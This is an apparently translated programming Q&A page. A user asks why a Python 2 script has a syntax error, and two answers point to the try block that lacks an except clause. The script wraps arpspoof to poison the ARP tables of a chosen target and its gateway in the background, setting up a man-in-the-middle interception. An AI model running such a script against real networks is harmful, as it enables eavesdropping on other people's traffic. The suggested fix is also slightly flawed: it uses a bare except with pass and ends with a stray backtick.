为什么我的语法无效?

时间:2018-07-30 13:17:09

标签: python python-2.7 penetration-testing

为什么我的语法无效?如果只是因为一个愚蠢的错误,请耐心等待我。

import os
gateway = raw_input("What is your gateway IP: ")
target = raw_input("What is your target IP: ")
interface = raw_input("What is your network interface: ")
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, gateway, target))
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, target, gateway))
while True: 
    try:    
        stop_command = raw_input("If you want to exit type stop: ")
    if stop_command != "stop":
        print("You didn't type stop")
        continue
    else:
        break

2 个答案:

答案 0 :(得分:1)

您的try缺少exceptfinally子句。

答案 1 :(得分:0)

您在尝试块时遇到语法错误

尝试的语法是

    try
    .
    .
    except: #must come with try block
    .
    .
    finally: #this is optional

因此无错误代码将是

try:    
    stop_command = raw_input("If you want to exit type stop: ")
except:
    pass
if stop_command != "stop":
    print("You didn't type stop")
    continue
else:
    break`